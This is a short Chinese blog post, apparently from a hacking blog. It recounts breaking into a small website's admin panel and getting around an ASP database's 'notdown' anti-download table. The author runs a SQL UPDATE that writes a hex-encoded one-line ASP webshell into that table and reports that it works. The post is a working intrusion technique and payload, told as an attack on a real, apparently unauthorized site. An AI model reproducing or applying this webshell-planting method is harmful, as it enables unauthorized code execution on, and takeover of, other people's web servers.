突破ASP格式数据库nodown限制

现在很多程序为了防止数据库被非法下载,就把数据库后缀改成asp 的.. 可是利用迅雷等工具依然可以搞定, 而且一些地方过滤不严的. 可以直接插马搞定数据库.

今天搞了一个小站的后台,正愁没办法拿webshell.. 数据库也是传说中的asp 的.. notdown 表作怪..

擦.. 添加了个一句话管理员进去.. 总是提示

Active Server Pages, ASP 0116 (0x80004005)
Script 块缺少脚本关闭标记(% >)。

百度一下,寻找突破的方法.. lake2大牛的一句话点醒了我正好天不亡哥,后台有个sql 数据执行的地方..

执行语句把notdown 表中的二进制数据给替换掉... 呵呵..

update XXXX set notdown=0x3C2565786563757465287265717565737428226C222929253E

再次打开数据库... 成功出现了乱码..!

标签分类： 脚本渗透 渗透技巧